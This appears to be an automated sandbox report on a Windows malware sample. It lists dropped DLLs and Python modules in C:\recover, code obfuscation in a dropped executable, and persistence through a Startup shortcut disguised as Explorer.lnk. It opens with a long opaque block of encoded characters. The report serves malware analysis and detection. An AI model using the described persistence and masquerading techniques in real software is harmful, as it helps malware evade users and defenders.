vm!rdEcO^Z;~%BsNB$bQ#%6?Ke_8giF$d-p7+JXef3p7gqg8$x4Bfy8%yQS&;K=chb?jz`&%TC!`~tw9`env3^W=eUjcU~AaxVs8oWkHNO1>ffUejDBKe<tWg9;5sLpA6;W3GW~Yk^WGj=Jx#F&CvQK\|BxBxMFzku$3~k-RzK>fz2{4>D{mB&YEE^wZeG~QGeJ+{!Z&m0(YgH?R%Y}U{0~_CIq~4^-Z!DWdQXDc{}dD};r=_e+w=S@Y@FWPkl%1SIR1H^n;<j=R=eU2l&k+ml\|k2\|Dgz-60!6(H)Oh&$W}iiV6N#pgPm$;@hCM%qV+6Lre^_h+;~y<{!H>@pI5xzvmj_2+ENorEcnrlud>P\|$lnC)Bk2cBPcZe0zc5>wEo1Ddzc_n3Tf4tY!#cy0_S}n@URnj@=rlQ1k5kZ7gc4T@2ByRkj^A`Y_Ce+=P}HDj{^f<g@vg0d+QWr8@y7x(XfrMIe&jitok8$oi4uIi?Q;_Obp&Fyd2NFy>j{BL8Tbui`1xj`P^LghRvwf(_&W3CP27LCdFc&jQL%)#s0zdR+K(Wj;41s@Fju^%)3f5OBW\|TgEYHHM$ZHoHT&JKN0h4xKsI0?7dZi@T&ru=Ox67otzMbX#Ir7MP603%M!}Oh2S)xSSwaj7BqT!(?&-!Q~_g<Z3dR23?kHHC;\|AF#wUkhjykbo9PViSagLN4\|oq8nWcI%=%%wMj`%XX<j=QwwY_ZjEJMNXq>$pT=YUL2=1k;QX!4XF!?b&$&_UC^i!mR+T\|6rVDQ7T{Z4f#DUJt?(u2)ktojqyR5ChAedav~Efj8KAtzuskp3T(GDUu0!yBAYY)fkZManxeAqSPi\|Pk<erZttOY(^9SR4;hYk?$c8Dl!8_(y1Xf<Qa<wYi$Vel%#L0{xF}aCW(lRYF2U=6BtT{}+MfE7&Bn`dWN};^pln8?mi-WXCv<SY7Xx@UnC}jk$YvdcE(d7zONtgUe!$gI=4GW^2zTp{O;JaL^C1lf$X^YZL1UcHW)h>M_SX@&tjxr6YeN#=Hk9gbi0cE9mi<RVVj\|hyR;FBCV{%p_#axJVyMkp2ozsYi@w7FnpAAd5Ny8>Fu%GD#D;k=5G{7fTf8CxX)Koz%hL?skl36`Sowy8dNqJ5f^;zAY-!RUp{<QvTLOTsF$Te#%v1x`1X?^%vv{vUv~Ls&W%!~\|l^jlyD7U7Gz^()KLN^a6v00\|%66YYm0G=54>msby3LKUp2lD19RiSuC07go17?~q9LM^eRK#yICAakO{b=4^)k5xq7h#brvCZn_zyhL~#$%Y8l!1cHw^~?pfMg3biB$mEtH@1YhQ{9>2X;ul+!K8;iCaWI9t8K#t)}APE%H2aJ(wb+V(HgT\|uFR$FqW)F1$bOs>wG?f^<gy=5{JPy\|yfgSsTqX;oy0I&DmO$%48KWkjJVZ<AF`<nxf>%19cdI3m;FNYF)HtFGYjb<wCo!gaW5dn$JMsnlfm715a1OmmvIT}K9-iySc2WY`7tnB_?XTBJ$vDVS1C&Jpc{8l;(Ky;++=hY>_uB1OD+v56WW)gvpZTpl`nN3fv6Q@kuowMv~HkGKMuC<N!o*k?J0<urRR;R~2Qf@^A1&ev%uX;j;jZKJP{uwS9lo-DDVLXjn@nd4vy>yk			Jump to behavior

Binary contains a suspicious time stamp

Source: msvcp140_2.dll.0.dr

Static PE information: 0x67843ACA [Sun Jan 12 21:57:30 2025 UTC]

PE file contains sections with non-standard names

Source: libcrypto-3-x64.dll.0.dr	Static PE information: section name: .00cfg
Source: libcrypto-3-x64.dll.0.dr	Static PE information: section name: _RDATA
Source: Qt5Core.dll.0.dr	Static PE information: section name: .qtmimed
Source: Qt5Quick3DAssetImport.dll.0.dr	Static PE information: section name: .managed
Source: Qt5Quick3DAssetImport.dll.0.dr	Static PE information: section name: hydrated
Source: Utils.dll.0.dr	Static PE information: section name: .managed
Source: Utils.dll.0.dr	Static PE information: section name: hydrated
Source: vcomp140.dll.0.dr	Static PE information: section name: _RDATA
Source: vcruntime140.dll.0.dr	Static PE information: section name: _RDATA
Source: libcrypto-1_1.dll.0.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.0.dr	Static PE information: section name: .00cfg

Uses code obfuscation techniques (call, push, ret)

Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A6965FF push rbp; retn 0013h	15_2_00007FFB0A696608
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C38D5EA push rdx; retf	15_2_00007FFB1C38D5EB
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A6965FF push rbp; retn 0013h	24_2_00007FFB0A696608

Persistence and Installation Behavior

Drops PE files

Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\win32comext\authorization\authorization.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\DLLs\_elementtree.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\win32comext\axscript\axscript.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\DLLs\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\vcomp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\libcurl.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\DLLs\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\DLLs\_msi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\DLLs\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\DLLs\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\pythonwin\scintilla.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\DLLs\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\pywin32_system32\pythoncom310.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\win32comext\internet\internet.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\recover.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\msvcp140_codecvt_ids.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\DLLs\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\DLLs\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\win32comext\axcontrol\axcontrol.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\DLLs\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\DLLs\_zoneinfo.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\win32comext\adsi\adsi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\win32comext\bits\bits.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\win32comext\propsys\propsys.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\DLLs\winsound.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\pythonwin\win32ui.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\msvcp140_atomic_wait.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\Qt5Core.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\DLLs\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\DLLs\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\DLLs\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\vcruntime140_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\win32comext\mapi\mapi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\DLLs\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\Qt5Quick3DAssetImport.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\win32comext\ifilter\ifilter.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\libcrypto-3-x64.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\DLLs\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\msvcp140_2.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\pywin32_system32\pywintypes310.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\DLLs\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\win32comext\taskscheduler\taskscheduler.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\Qt5Quick3DUtils.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\DLLs\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\DLLs\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\msvcp140_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\win32comext\shell\shell.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\pythonwin\win32uiole.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\Crypto\PublicKey\_x25519.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\Qt5Gui.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\Lib\site-packages\win32comext\directsound\directsound.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\DLLs\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\DLLs\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\olx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\pw\DLLs\libffi-7.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	File created: C:\recover\Utils.dll	Jump to dropped file

Boot Survival

Creates a start menu entry (Start Menu\Programs\Startup)

Source: C:\recover\pw\pw.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Explorer.lnk

Stores files to the Windows start menu directory

Source: C:\recover\pw\pw.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Explorer.lnk

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Hooking and other Techniques for Hiding and Protection

Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
